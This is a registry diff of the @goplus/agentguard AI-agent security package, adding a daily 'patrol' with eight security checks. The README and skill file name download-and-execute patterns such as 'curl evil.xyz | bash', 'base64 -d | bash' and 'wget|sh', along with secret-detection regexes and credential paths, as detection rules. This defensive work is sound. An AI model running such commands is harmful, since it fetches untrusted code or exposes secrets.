@goplus/agentguard 1.0.6 → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -22,7 +22,7 @@ AI coding agents can execute any command, read any file, and install any skill
22
22
  - **Prompt injection** can trick your agent into running destructive commands
23
23
  - **Unverified code** from the internet may contain wallet drainers or keyloggers
24
24
 
25
- **AgentGuard is the first real-time security layer for AI agents.** It automatically scans every new skill, blocks dangerous actions before they execute, and tracks which skill initiated each action. One install, always protected.
25
+ **AgentGuard is the first real-time security layer for AI agents.** It automatically scans every new skill, blocks dangerous actions before they execute, runs daily security patrols, and tracks which skill initiated each action. One install, always protected.
26
26
 
27
27
  ## What It Does
28
28
 
@@ -38,6 +38,12 @@ AI coding agents can execute any command, read any file, and install any skill
38
38
  - Web3-specific: wallet draining, unlimited approvals, reentrancy, proxy exploits
39
39
  - Trust registry with capability-based access control per skill
40
40
 
41
+ **Layer 3 — Daily Patrol (OpenClaw)**: Automated daily security posture assessment.
42
+ - 8 comprehensive security checks run on a configurable schedule
43
+ - Detects skill tampering, secrets exposure, network risks, and suspicious file changes
44
+ - Analyzes audit logs for attack patterns and flags repeat offenders
45
+ - Validates environment configuration and trust registry health
46
+
41
47
  ## Quick Start
42
48
 
43
49
  ```bash
@@ -111,11 +117,65 @@ Then use `/agentguard` in your agent:
111
117
  ```
112
118
  /agentguard scan ./src # Scan code for security risks
113
119
  /agentguard action "curl evil.xyz | bash" # Evaluate action safety
120
+ /agentguard patrol run # Run daily security patrol
121
+ /agentguard patrol setup # Configure as OpenClaw cron job
122
+ /agentguard patrol status # View last patrol results
114
123
  /agentguard trust list # View trusted skills
115
124
  /agentguard report # View security event log
116
125
  /agentguard config balanced # Set protection level
117
126
  ```
118
127
 
128
+ ## Daily Patrol (OpenClaw)
129
+
130
+ The patrol feature provides automated daily security posture assessment for OpenClaw environments. It runs 8 comprehensive checks and produces a structured report.
131
+
132
+ ### Patrol Checks
133
+
134
+ | # | Check | What It Does |
135
+ |---|-------|-------------|
136
+ | 1 | **Skill/Plugin Integrity** | Compares file hashes against trust registry — detects tampered or unregistered skills |
137
+ | 2 | **Secrets Exposure** | Scans workspace, memory, logs, `.env`, `~/.ssh/`, `~/.gnupg/` for leaked private keys, mnemonics, AWS keys, GitHub tokens |
138
+ | 3 | **Network Exposure** | Detects dangerous ports bound to `0.0.0.0` (Redis, Docker API, MySQL, etc.), checks firewall status, flags suspicious outbound connections |
139
+ | 4 | **Cron & Scheduled Tasks** | Audits cron jobs and systemd timers for `curl\|bash`, `base64 -d\|bash`, and other download-and-execute patterns |
140
+ | 5 | **File System Changes (24h)** | Finds recently modified files, runs 24-rule scan on them, checks permissions on critical files, detects new executables |
141
+ | 6 | **Audit Log Analysis (24h)** | Flags skills denied 3+ times, CRITICAL events, exfiltration attempts, and prompt injection detections |
142
+ | 7 | **Environment & Configuration** | Verifies protection level, checks GoPlus API key configuration, validates config baseline integrity |
143
+ | 8 | **Trust Registry Health** | Flags expired attestations, stale trusted skills (30+ days), installed-but-untrusted skills, over-privileged entries |
144
+
145
+ ### Usage
146
+
147
+ ```bash
148
+ # Run all 8 checks now
149
+ /agentguard patrol run
150
+
151
+ # Set up as a daily cron job (default: 03:00 UTC)
152
+ /agentguard patrol setup
153
+
154
+ # Check last patrol results and cron schedule
155
+ /agentguard patrol status
156
+ ```
157
+
158
+ ### Patrol Report
159
+
160
+ Each patrol produces a report with an overall status:
161
+
162
+ | Status | Meaning |
163
+ |--------|---------|
164
+ | **PASS** | Only low/medium findings |
165
+ | **WARN** | HIGH severity findings detected |
166
+ | **FAIL** | CRITICAL severity findings detected |
167
+
168
+ Reports include per-check status, finding counts, detailed findings for checks with issues, and actionable recommendations. Results are also logged to `~/.agentguard/audit.jsonl`.
169
+
170
+ ### Setup Options
171
+
172
+ `patrol setup` configures an OpenClaw cron job with:
173
+ - **Timezone** — defaults to UTC
174
+ - **Schedule** — defaults to `0 3 * * *` (daily at 03:00)
175
+ - **Notifications** — optional Telegram, Discord, or Signal alerts
176
+
177
+ > **Note:** Patrol requires an OpenClaw environment. For non-OpenClaw setups, use `/agentguard scan` and `/agentguard report` for manual security checks.
178
+
119
179
  ## Protection Levels
120
180
 
121
181
  | Level | Behavior |
@@ -152,7 +212,7 @@ GoPlus AgentGuard follows the [Agent Skills](https://agentskills.io) open standa
152
212
  | Platform | Support | Features |
153
213
  |----------|---------|----------|
154
214
  | **Claude Code** | Full | Skill + hooks auto-guard, transcript-based skill tracking |
155
- | **OpenClaw** | Full | Plugin hooks + **auto-scan on load** + tool→plugin mapping |
215
+ | **OpenClaw** | Full | Plugin hooks + **auto-scan on load** + tool→plugin mapping + **daily patrol** |
156
216
  | **OpenAI Codex CLI** | Skill | Scan/action/trust commands |
157
217
  | **Gemini CLI** | Skill | Scan/action/trust commands |
158
218
  | **Cursor** | Skill | Scan/action/trust commands |
@@ -160,7 +220,7 @@ GoPlus AgentGuard follows the [Agent Skills](https://agentskills.io) open standa
160
220
 
161
221
  > **Hooks-based auto-guard (Layer 1)** works on Claude Code (PreToolUse/PostToolUse) and OpenClaw (before_tool_call/after_tool_call). Both platforms share the same decision engine via a unified adapter abstraction layer.
162
222
  >
163
- > **OpenClaw exclusive**: Auto-scans all loaded plugins at registration time and automatically registers them to the trust registry with appropriate trust levels and capabilities.
223
+ > **OpenClaw exclusive**: Auto-scans all loaded plugins at registration time, automatically registers them to the trust registry, and supports automated daily security patrols via cron.
164
224
 
165
225
  ## Hook Limitations
166
226
 
@@ -183,6 +243,15 @@ The auto-guard hooks (Layer 1) have the following constraints:
183
243
  - [x] Safe-command allowlist to reduce hook false positives
184
244
  - [x] Plugin manifest (`.claude-plugin/`) for one-step install
185
245
 
246
+ ### v1.5 — Daily Patrol
247
+ - [x] `patrol run` — 8-check security posture assessment
248
+ - [x] `patrol setup` — OpenClaw cron job configuration with timezone and notifications
249
+ - [x] `patrol status` — Last results and schedule overview
250
+ - [x] Skill/plugin integrity verification (hash drift detection)
251
+ - [x] Secrets exposure scanning (private keys, mnemonics, AWS keys, GitHub tokens)
252
+ - [x] Network exposure and firewall checks
253
+ - [x] Audit log pattern analysis (repeat denials, exfiltration attempts)
254
+
186
255
  ### v2.0 — Multi-Platform
187
256
  - [x] OpenClaw gateway plugin integration
188
257
  - [x] `before_tool_call` / `after_tool_call` hook wiring
@@ -201,7 +270,7 @@ The auto-guard hooks (Layer 1) have the following constraints:
201
270
 
202
271
  ## OpenClaw Integration
203
272
 
204
- AgentGuard provides deep integration with OpenClaw through automatic plugin scanning and trust management.
273
+ AgentGuard provides deep integration with OpenClaw through automatic plugin scanning, trust management, and daily security patrols.
205
274
 
206
275
  <details>
207
276
  <summary><b>How it works</b></summary>
@@ -237,6 +306,15 @@ When AgentGuard registers as an OpenClaw plugin:
237
306
  │ • Check plugin trust level & capabilities │
238
307
  │ • Evaluate action against security policies │
239
308
  │ • Allow / Deny / Log │
309
+ └─────────────────────────────────────────────────────────────────┘
310
+
311
+
312
+ ┌─────────────────────────────────────────────────────────────────┐
313
+ │ Daily patrol (via cron): │
314
+ │ • Run 8 security checks against the environment │
315
+ │ • Verify skill integrity, detect secrets, audit logs │
316
+ │ • Generate report (PASS / WARN / FAIL) │
317
+ │ • Send notifications (Telegram / Discord / Signal) │
240
318
  └─────────────────────────────────────────────────────────────────┘
241
319
  ```
242
320
 
@@ -46,6 +46,8 @@ export interface OpenClawPluginOptions {
46
46
  scanner?: SkillScanner;
47
47
  /** Custom registry instance */
48
48
  registry?: SkillRegistry;
49
+ /** Workspace paths the session is allowed to access (e.g., ['~/.openclaw/workspace/**']) */
50
+ workspacePaths?: string[];
49
51
  }
50
52
  /**
51
53
  * Get plugin ID from tool name
@@ -1 +1 @@
1
- {"version":3,"file":"openclaw-plugin.d.ts","sourceRoot":"","sources":["../../src/adapters/openclaw-plugin.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;AASH,OAAO,KAAK,EAAE,kBAAkB,EAAE,MAAM,YAAY,CAAC;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C5F,cAAc,CAAC,EAAE,MAAM,EAAE,CAAC;CAC3B;AA6HD;;GAEG;AACH,wBAAgB,mBAAmB,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,GAAG,IAAI,CAEnE;AAED;;GAEG;AACH,wBAAgB,mBAAmB,CAAC,QAAQ,EAAE,MAAM,GAAG;IAAE,SAAS,EAAE,MAAM,CAAC;IAAC,QAAQ,EAAE,MAAM,EAAE,CAAA;CAAE,GAAG,IAAI,CAEtG;AAMD;;GAEG;AACH,wBAAgB,sBAAsB,CACpC,GAAG,EAAE,iBAAiB,EACtB,OAAO,GAAE,qBAA0B,GAClC,IAAI,CAsHN;AAED;;;;GAIG;AACH,MAAM,CAAC,OAAO,UAAU,QAAQ,CAAC,GAAG,EAAE,iBAAiB,GAAG,IAAI,CAE7D"}
@@ -67,6 +67,8 @@ const engine_js_1 = require("./engine.js");
67
67
  const common_js_1 = require("./common.js");
68
68
  const index_js_1 = require("../scanner/index.js");
69
69
  const index_js_2 = require("../registry/index.js");
70
+ const index_js_3 = require("../action/index.js");
71
+ const skill_js_1 = require("../types/skill.js");
70
72
  // ---------------------------------------------------------------------------
71
73
  // Auto-scan helpers (skill directories)
72
74
  // ---------------------------------------------------------------------------
@@ -263,20 +265,26 @@ function registerOpenClawPlugin(api, options = {}) {
263
265
  const logger = (msg) => console.log(msg);
264
266
  // Lazy-initialize agentguard instance
265
267
  let agentguard = null;
268
+ // Build default capabilities from workspacePaths so the core session
269
+ // can access its own workspace files without a manual registry entry.
270
+ const defaultCapabilities = options.workspacePaths
271
+ ? { ...skill_js_1.DEFAULT_CAPABILITY, filesystem_allowlist: options.workspacePaths }
272
+ : undefined;
266
273
  function getAgentGuard() {
267
274
  if (!agentguard) {
268
275
  if (options.agentguardFactory) {
269
276
  agentguard = options.agentguardFactory();
270
277
  }
271
278
  else {
272
- try {
273
- // eslint-disable-next-line @typescript-eslint/no-require-imports
274
- const { createAgentGuard } = require('@goplus/agentguard');
275
- agentguard = createAgentGuard();
276
- }
277
- catch {
278
- throw new Error('AgentGuard: unable to load engine. Install @goplus/agentguard.');
279
- }
279
+ // Build inline — avoids require() and passes workspace defaults
280
+ const actionScanner = new index_js_3.ActionScanner({
281
+ registry: trustRegistry,
282
+ ...(defaultCapabilities ? { defaultCapabilities } : {}),
283
+ });
284
+ agentguard = {
285
+ registry: trustRegistry,
286
+ actionScanner,
287
+ };
280
288
  }
281
289
  }
282
290
  return agentguard;
@@ -1 +1 @@
1
- {"version":3,"file":"openclaw-plugin.js","sourceRoot":"","sources":["../../src/adapters/openclaw-plugin.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AA8RH,kDAEC;AAKD,kDAEC;AASD,wDAiHC;AAOD,2BAEC;AAxaD,qCAA6E;AAC7E,yCAAiC;AACjC,qCAAkC;AAClC,gDAAkC;AAClC,+CAAgD;AAChD,2CAA2C;AAC3C,2CAAwD;AAExD,kDAAmD;AACnD,mDAAqD;AAqCrD,8EAA8E;AAC9E,wCAAwC;AACxC,8EAA8E;AAE9E,MAAM,mBAAmB,GAAG,IAAA,gBAAI,EAAC,IAAA,iBAAO,GAAE,EAAE,WAAW,EAAE,QAAQ,CAAC,CAAC;AACnE,MAAM,iBAAiB,GAAG,IAAA,gBAAI,EAAC,IAAA,iBAAO,GAAE,EAAE,SAAS,EAAE,QAAQ,CAAC,CAAC;AAC/D,MAAM,cAAc,GAAG,OAAO,CAAC,GAAG,CAAC,eAAe,IAAI,IAAA,gBAAI,EAAC,IAAA,iBAAO,GAAE,EAAE,aAAa,CAAC,CAAC;AACrF,MAAM,UAAU,GAAG,IAAA,gBAAI,EAAC,cAAc,EAAE,aAAa,CAAC,CAAC;AAEvD,SAAS,mBAAmB;IAC1B,IAAI,CAAC,IAAA,oBAAU,EAAC,cAAc,CAAC,EAAE,CAAC;QAChC,IAAA,mBAAS,EAAC,cAAc,EAAE,EAAE,SAAS,EAAE,IAAI,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;iBAC1E,CAAC;YACJ,CAAC;YAED,OAAO,SAAS,CAAC,CAAC,QAAQ;QAC5B,CAAC;QAAC,MAAM,CAAC;YACP,YAAY;YACZ,OAAO,SAAS,CAAC;QACnB,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,8BAA8B;IAC9B,GAAG,CAAC,EAAE,CAAC,iBAAiB,EAAE,KAAK,EAAE,KAAc,EAAE,EAAE;QACjD,IAAI,CAAC;YACH,MAAM,KAAK,GAAG,OAAO,CAAC,UAAU,CAAC,KAAK,CAAC,CAAC;YACxC,MAAM,SAAS,GAAG,KAA8B,CAAC;YACjD,MAAM,QAAQ,GAAG,SAAS,CAAC,QAAQ,CAAC,CAAC,CAAC,mBAAmB,CAAC,SAAS,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC;YACrF,IAAA,yBAAa,EAAC,KAAK,EAAE,IAAI,EAAE,QAAQ,CAAC,CAAC;QACvC,CAAC;QAAC,MAAM,CAAC;YACP,eAAe;QACjB,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,MAAM,CAAC,4DAA4D,MAAM,CAAC,KAAK,IAAI,UAAU,GAAG,CAAC,CAAC;AACpG,CAAC;AAED;;;;GAIG;AACH,SAAwB,QAAQ,CAAC,GAAsB;IACrD,sBAAsB,CAAC,GAAG,CAAC,CAAC;AAC9B,CAAC"}
package/dist/index.d.ts CHANGED
@@ -16,12 +16,15 @@ export { ClaudeCodeAdapter, OpenClawAdapter, evaluateHook, registerOpenClawPlugi
16
16
  import { SkillScanner } from './scanner/index.js';
17
17
  import { SkillRegistry } from './registry/index.js';
18
18
  import { ActionScanner } from './action/index.js';
19
+ import type { CapabilityModel } from './types/skill.js';
19
20
  /**
20
21
  * Create a complete AgentGuard instance with all modules
21
22
  */
22
23
  export declare function createAgentGuard(options?: {
23
24
  registryPath?: string;
24
25
  useExternalScanner?: boolean;
26
+ /** Default capabilities used when no registry record is found for an actor */
27
+ defaultCapabilities?: CapabilityModel;
25
28
  }): {
26
29
  scanner: SkillScanner;
27
30
  registry: SkillRegistry;
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAGH,cAAc,kBAAkB,CAAC;AAGjC,OAAO,EAAE,YAAY,EAAE,KAAK,cAAc,EAAE,MAAM,oBAAoB,CAAC;AACvE,OAAO,EACL,aAAa,EACb,eAAe,EACf,KAAK,eAAe,EACpB,KAAK,cAAc,EACnB,KAAK,YAAY,EACjB,KAAK,YAAY,GAClB,MAAM,qBAAqB,CAAC;AAC7B,OAAO,EACL,aAAa,EACb,YAAY,EACZ,KAAK,oBAAoB,GAC1B,MAAM,mBAAmB,CAAC;AAG3B,OAAO,EACL,gBAAgB,EAChB,sBAAsB,EACtB,qBAAqB,EACrB,kBAAkB,EAClB,KAAK,YAAY,GAClB,MAAM,qBAAqB,CAAC;AAG7B,OAAO,EACL,qBAAqB,EACrB,iBAAiB,EACjB,aAAa,EACb,eAAe,EACf,kBAAkB,GACnB,MAAM,qBAAqB,CAAC;AAG7B,OAAO,EACL,iBAAiB,EACjB,eAAe,EACf,YAAY,EACZ,sBAAsB,EACtB,UAAU,EACV,KAAK,WAAW,EAChB,KAAK,SAAS,EACd,KAAK,UAAU,EACf,KAAK,aAAa,GACnB,MAAM,qBAAqB,CAAC;AAG7B,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAClD,OAAO,EAAE,aAAa,EAAE,MAAM,qBAAqB,CAAC;AACpD,OAAO,EAAE,aAAa,EAAE,MAAM,mBAAmB,CAAC;AAElD;;GAEG;AACH,wBAAgB,gBAAgB,CAAC,OAAO,CAAC,EAAE;IACzC,YAAY,CAAC,EAAE,MAAM,CAAC;IACtB,kBAAkB,CAAC,EAAE,OAAO,CAAC;CAC9B;;;;EAgBA;AAGD,eAAe,gBAAgB,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAGH,cAAc,kBAAkB,CAAC;AAGjC,OAAO,EAAE,YAAY,EAAE,KAAK,cAAc,EAAE,MAAM,oBAAoB,CAAC;AACvE,OAAO,EACL,aAAa,EACb,eAAe,EACf,KAAK,eAAe,EACpB,KAAK,cAAc,EACnB,KAAK,YAAY,EACjB,KAAK,YAAY,GAClB,MAAM,qBAAqB,CAAC;AAC7B,OAAO,EACL,aAAa,EACb,YAAY,EACZ,KAAK,oBAAoB,GAC1B,MAAM,mBAAmB,CAAC;AAG3B,OAAO,EACL,gBAAgB,EAChB,sBAAsB,EACtB,qBAAqB,EACrB,kBAAkB,EAClB,KAAK,YAAY,GAClB,MAAM,qBAAqB,CAAC;AAG7B,OAAO,EACL,qBAAqB,EACrB,iBAAiB,EACjB,aAAa,EACb,eAAe,EACf,kBAAkB,GACnB,MAAM,qBAAqB,CAAC;AAG7B,OAAO,EACL,iBAAiB,EACjB,eAAe,EACf,YAAY,EACZ,sBAAsB,EACtB,UAAU,EACV,KAAK,WAAW,EAChB,KAAK,SAAS,EACd,KAAK,UAAU,EACf,KAAK,aAAa,GACnB,MAAM,qBAAqB,CAAC;AAG7B,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAClD,OAAO,EAAE,aAAa,EAAE,MAAM,qBAAqB,CAAC;AACpD,OAAO,EAAE,aAAa,EAAE,MAAM,mBAAmB,CAAC;AAClD,OAAO,KAAK,EAAE,eAAe,EAAE,MAAM,kBAAkB,CAAC;AAExD;;GAEG;AACH,wBAAgB,gBAAgB,CAAC,OAAO,CAAC,EAAE;IACzC,YAAY,CAAC,EAAE,MAAM,CAAC;IACtB,kBAAkB,CAAC,EAAE,OAAO,CAAC;IAC7B,8EAA8E;IAC9E,mBAAmB,CAAC,EAAE,eAAe,CAAC;CACvC;;;;EAmBA;AAGD,eAAe,gBAAgB,CAAC"}
package/dist/index.js CHANGED
@@ -69,7 +69,10 @@ function createAgentGuard(options) {
69
69
  const scanner = new index_js_5.SkillScanner({
70
70
  useExternalScanner: options?.useExternalScanner ?? true,
71
71
  });
72
- const actionScanner = new index_js_7.ActionScanner({ registry });
72
+ const actionScanner = new index_js_7.ActionScanner({
73
+ registry,
74
+ defaultCapabilities: options?.defaultCapabilities,
75
+ });
73
76
  return {
74
77
  scanner,
75
78
  registry,
package/dist/index.js.map CHANGED
@@ -1 +1 @@
1
- {"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":";AAAA;;;;;;;GAOG;;;;;;;;;;;;;;;;;AA4DH,4CAmBC;AA7ED,eAAe;AACf,mDAAiC;AAEjC,iBAAiB;AACjB,+CAAuE;AAA9D,wGAAA,YAAY,OAAA;AACrB,gDAO6B;AAN3B,yGAAA,aAAa,OAAA;AACb,2GAAA,eAAe,OAAA;AAMjB,8CAI2B;AAHzB,yGAAA,aAAa,OAAA;AACb,wGAAA,YAAY,OAAA;AAId,wBAAwB;AACxB,kDAM6B;AAL3B,8GAAA,gBAAgB,OAAA;AAChB,oHAAA,sBAAsB,OAAA;AACtB,mHAAA,qBAAqB,OAAA;AACrB,gHAAA,kBAAkB,OAAA;AAIpB,2BAA2B;AAC3B,mDAM6B;AAL3B,oHAAA,qBAAqB,OAAA;AACrB,gHAAA,iBAAiB,OAAA;AACjB,4GAAA,aAAa,OAAA;AACb,8GAAA,eAAe,OAAA;AACf,iHAAA,kBAAkB,OAAA;AAGpB,gDAAgD;AAChD,gDAU6B;AAT3B,6GAAA,iBAAiB,OAAA;AACjB,2GAAA,eAAe,OAAA;AACf,wGAAA,YAAY,OAAA;AACZ,kHAAA,sBAAsB,OAAA;AACtB,sGAAA,UAAU,OAAA;AAOZ,gCAAgC;AAChC,iDAAkD;AAClD,kDAAoD;AACpD,gDAAkD;AAElD;;GAEG;AACH,SAAgB,gBAAgB,CAAC,OAGhC;IACC,MAAM,QAAQ,GAAG,IAAI,wBAAa,CAAC;QACjC,QAAQ,EAAE,OAAO,EAAE,YAAY;KAChC,CAAC,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G,IAAI,wBAAa,CAAC;QACjC,QAAQ,EAAE,OAAO,EAAE,YAAY;KAChC,CAAC,CAAC;IAEH,MAAM,OAAO,GAAG,IAAI,uBAAY,CAAC;QAC/B,kBAAkB,EAAE,OAAO,EAAE,kBAAkB,IAAI,IAAI;KACxD,CAAC,CAAC;IAEH,MAAM,aAAa,GAAG,IAAI,wBAAa,CAAC;QACtC,QAAQ;QACR,mBAAmB,EAAE,OAAO,EAAE,mBAAmB;KAClD,CAAC,CAAC;IAEH,OAAO;QACL,OAAO;QACP,QAAQ;QACR,aAAa;KACd,CAAC;AACJ,CAAC;AAED,iBAAiB;AACjB,kBAAe,gBAAgB,CAAC"}
package/package.json CHANGED
@@ -1,9 +1,14 @@
1
1
  {
2
2
  "name": "@goplus/agentguard",
3
- "version": "1.0.6",
3
+ "version": "1.0.9",
4
4
  "description": "GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.",
5
5
  "main": "dist/index.js",
6
6
  "types": "dist/index.d.ts",
7
+ "openclaw": {
8
+ "extensions": [
9
+ "./dist/index.js"
10
+ ]
11
+ },
7
12
  "bin": {
8
13
  "agentguard": "./dist/mcp-server.js"
9
14
  },
@@ -0,0 +1,6 @@
1
+ node_modules/
2
+ scripts/node_modules/
3
+ scripts/package-lock.json
4
+ scripts/data/registry.json
5
+ *.log
6
+ .DS_Store
@@ -0,0 +1,31 @@
1
+ # GoPlus AgentGuard
2
+
3
+ AI Agent Security Guard — protect your AI agents from dangerous commands, data leaks, and malicious skills.
4
+
5
+ ## Features
6
+
7
+ - **Code Scanning** — 24 detection rules covering shell injection, credential leaks, prompt injection, Web3 exploits, and more
8
+ - **Action Evaluation** — Real-time allow/deny/confirm decisions for runtime actions (network, exec, file, Web3)
9
+ - **Trust Registry** — Manage skill trust levels with capability-based access control
10
+ - **Security Patrol** — Automated daily security checks for OpenClaw environments
11
+ - **Audit Logging** — Full security event trail with reporting
12
+
13
+ ## Usage
14
+
15
+ ```
16
+ /agentguard scan <path> — Scan code for security risks
17
+ /agentguard action <description> — Evaluate runtime action safety
18
+ /agentguard patrol [run|setup|status] — Daily security patrol
19
+ /agentguard trust <subcommand> — Manage skill trust levels
20
+ /agentguard report — View security event audit log
21
+ /agentguard config <level> — Set protection level (strict/balanced/permissive)
22
+ ```
23
+
24
+ ## Requirements
25
+
26
+ - Node.js 18+
27
+ - Optional: GoPlus API credentials for enhanced Web3 transaction simulation
28
+
29
+ ## Author
30
+
31
+ Built by [GoPlus Security](https://gopluslabs.io) — the leading Web3 security infrastructure provider.
@@ -1,15 +1,15 @@
1
1
  ---
2
2
  name: agentguard
3
- description: GoPlus AgentGuard — AI agent security guard. Automatically blocks dangerous commands, prevents data leaks, and protects secrets. Use when reviewing third-party code, auditing skills, checking for vulnerabilities, evaluating action safety, or viewing security logs.
3
+ description: GoPlus AgentGuard — AI agent security guard. Automatically blocks dangerous commands, prevents data leaks, and protects secrets. Use when reviewing third-party code, auditing skills, checking for vulnerabilities, evaluating action safety, running security patrols, or viewing security logs.
4
4
  license: MIT
5
5
  compatibility: Requires Node.js 18+. Optional GoPlus API credentials for enhanced Web3 simulation.
6
6
  metadata:
7
7
  author: GoPlusSecurity
8
- version: "1.0"
8
+ version: "1.1"
9
9
  optional_env: "GOPLUS_API_KEY, GOPLUS_API_SECRET (for Web3 transaction simulation only)"
10
10
  user-invocable: true
11
- allowed-tools: Read, Grep, Glob, Bash(node scripts/trust-cli.ts *) Bash(node scripts/action-cli.ts *)
12
- argument-hint: "[scan|action|trust|report|config] [args...]"
11
+ allowed-tools: Read, Grep, Glob, Bash(node scripts/trust-cli.ts *) Bash(node scripts/action-cli.ts *) Bash(openclaw *) Bash(ss *) Bash(lsof *) Bash(ufw *) Bash(iptables *) Bash(crontab *) Bash(systemctl list-timers *) Bash(find *) Bash(stat *) Bash(env) Bash(sha256sum *)
12
+ argument-hint: "[scan|action|patrol|trust|report|config] [args...]"
13
13
  ---
14
14
 
15
15
  # GoPlus AgentGuard — AI Agent Security Framework
@@ -22,6 +22,7 @@ Parse `$ARGUMENTS` to determine the subcommand:
22
22
 
23
23
  - **`scan <path>`** — Scan a skill or codebase for security risks
24
24
  - **`action <description>`** — Evaluate whether a runtime action is safe
25
+ - **`patrol [run|setup|status]`** — Daily security patrol for OpenClaw environments
25
26
  - **`trust <lookup|attest|revoke|list> [args]`** — Manage skill trust levels
26
27
  - **`report`** — View recent security events from the audit log
27
28
  - **`config <strict|balanced|permissive>`** — Set protection level
@@ -30,6 +31,8 @@ If no subcommand is given, or the first argument is a path, default to **scan**.
30
31
 
31
32
  ---
32
33
 
34
+ # Security Operations
35
+
33
36
  ## Subcommand: scan
34
37
 
35
38
  Scan the target path for security risks using all detection rules.
@@ -220,6 +223,227 @@ Always combine script results with the policy-based checks (webhook domains, sec
220
223
 
221
224
  ---
222
225
 
226
+ ## Subcommand: patrol
227
+
228
+ **OpenClaw-specific daily security patrol.** Runs 8 automated checks that leverage AgentGuard's scan engine, trust registry, and audit log to assess the security posture of an OpenClaw deployment.
229
+
230
+ For detailed check definitions, commands, and thresholds, see [patrol-checks.md](patrol-checks.md).
231
+
232
+ ### Sub-subcommands
233
+
234
+ - **`patrol`** or **`patrol run`** — Execute all 8 checks and output a patrol report
235
+ - **`patrol setup`** — Configure as an OpenClaw daily cron job
236
+ - **`patrol status`** — Show last patrol results and cron schedule
237
+
238
+ ### Pre-flight: OpenClaw Detection
239
+
240
+ Before running any checks, verify the OpenClaw environment:
241
+
242
+ 1. Check for `$OPENCLAW_STATE_DIR` env var, fall back to `~/.openclaw/`
243
+ 2. Verify the directory exists and contains `openclaw.json`
244
+ 3. Check if `openclaw` CLI is available in PATH
245
+
246
+ If OpenClaw is not detected, output:
247
+ ```
248
+ This command requires an OpenClaw environment. Detected: <what was found/missing>
249
+ For non-OpenClaw environments, use /agentguard scan and /agentguard report instead.
250
+ ```
251
+
252
+ Set `$OC` to the resolved OpenClaw state directory for all subsequent checks.
253
+
254
+ ### The 8 Patrol Checks
255
+
256
+ #### [1] Skill/Plugin Integrity
257
+
258
+ Detect tampered or unregistered skill packages by comparing file hashes against the trust registry.
259
+
260
+ **Steps**:
261
+ 1. Discover skill directories under `$OC/skills/` (look for dirs containing `SKILL.md`)
262
+ 2. For each skill, compute hash: `node scripts/trust-cli.ts hash --path <skill_dir>`
263
+ 3. Look up the attested hash: `node scripts/trust-cli.ts lookup --source <skill_dir>`
264
+ 4. If hash differs from attested → **INTEGRITY_DRIFT** (HIGH)
265
+ 5. If skill has no trust record → **UNREGISTERED_SKILL** (MEDIUM)
266
+ 6. For drifted skills, run the scan rules against the changed files to detect new threats
267
+
268
+ #### [2] Secrets Exposure
269
+
270
+ Scan workspace files for leaked secrets using AgentGuard's own detection patterns.
271
+
272
+ **Steps**:
273
+ 1. Use Grep to scan `$OC/workspace/` (especially `memory/` and `logs/`) with patterns from:
274
+ - scan-rules.md Rule 7 (PRIVATE_KEY_PATTERN): `0x[a-fA-F0-9]{64}` in quotes
275
+ - scan-rules.md Rule 8 (MNEMONIC_PATTERN): BIP-39 word sequences, `seed_phrase`, `mnemonic`
276
+ - scan-rules.md Rule 5 (READ_SSH_KEYS): SSH key file references in workspace
277
+ - action-policies.md secret patterns: AWS keys (`AKIA...`), GitHub tokens (`gh[pousr]_...`), DB connection strings
278
+ 2. Scan any `.env*` files under `$OC/` for plaintext credentials
279
+ 3. Check `~/.ssh/` and `~/.gnupg/` directory permissions (should be 700)
280
+
281
+ #### [3] Network Exposure
282
+
283
+ Detect dangerous port exposure and firewall misconfigurations.
284
+
285
+ **Steps**:
286
+ 1. List listening ports: `ss -tlnp` or `lsof -i -P -n | grep LISTEN`
287
+ 2. Flag high-risk services on 0.0.0.0: Redis(6379), Docker API(2375), MySQL(3306), PostgreSQL(5432), MongoDB(27017)
288
+ 3. Check firewall status: `ufw status` or `iptables -L INPUT -n`
289
+ 4. Check outbound connections (`ss -tnp state established`) and cross-reference against action-policies.md webhook/exfil domain list and high-risk TLDs
290
+
291
+ #### [4] Cron & Scheduled Tasks
292
+
293
+ Audit all cron jobs for download-and-execute patterns.
294
+
295
+ **Steps**:
296
+ 1. List OpenClaw cron jobs: `openclaw cron list`
297
+ 2. List system crontab: `crontab -l` and contents of `/etc/cron.d/`
298
+ 3. List systemd timers: `systemctl list-timers --all`
299
+ 4. Scan all cron command bodies using scan-rules.md Rule 2 (AUTO_UPDATE) patterns: `curl|bash`, `wget|sh`, `eval "$(curl`, `base64 -d | bash`
300
+ 5. Flag unknown cron jobs that touch `$OC/` directories
301
+
302
+ #### [5] File System Changes (24h)
303
+
304
+ Detect suspicious file modifications in the last 24 hours.
305
+
306
+ **Steps**:
307
+ 1. Find recently modified files: `find $OC/ ~/.ssh/ ~/.gnupg/ /etc/cron.d/ -type f -mtime -1`
308
+ 2. For modified files with scannable extensions (.js/.ts/.py/.sh/.md/.json), run the full scan rule set
309
+ 3. Check permissions on critical files:
310
+ - `$OC/openclaw.json` → should be 600
311
+ - `$OC/devices/paired.json` → should be 600
312
+ - `~/.ssh/authorized_keys` → should be 600
313
+ 4. Detect new executable files in workspace: `find $OC/workspace/ -type f -perm +111 -mtime -1`
314
+
315
+ #### [6] Audit Log Analysis (24h)
316
+
317
+ Analyze AgentGuard's audit trail for attack patterns.
318
+
319
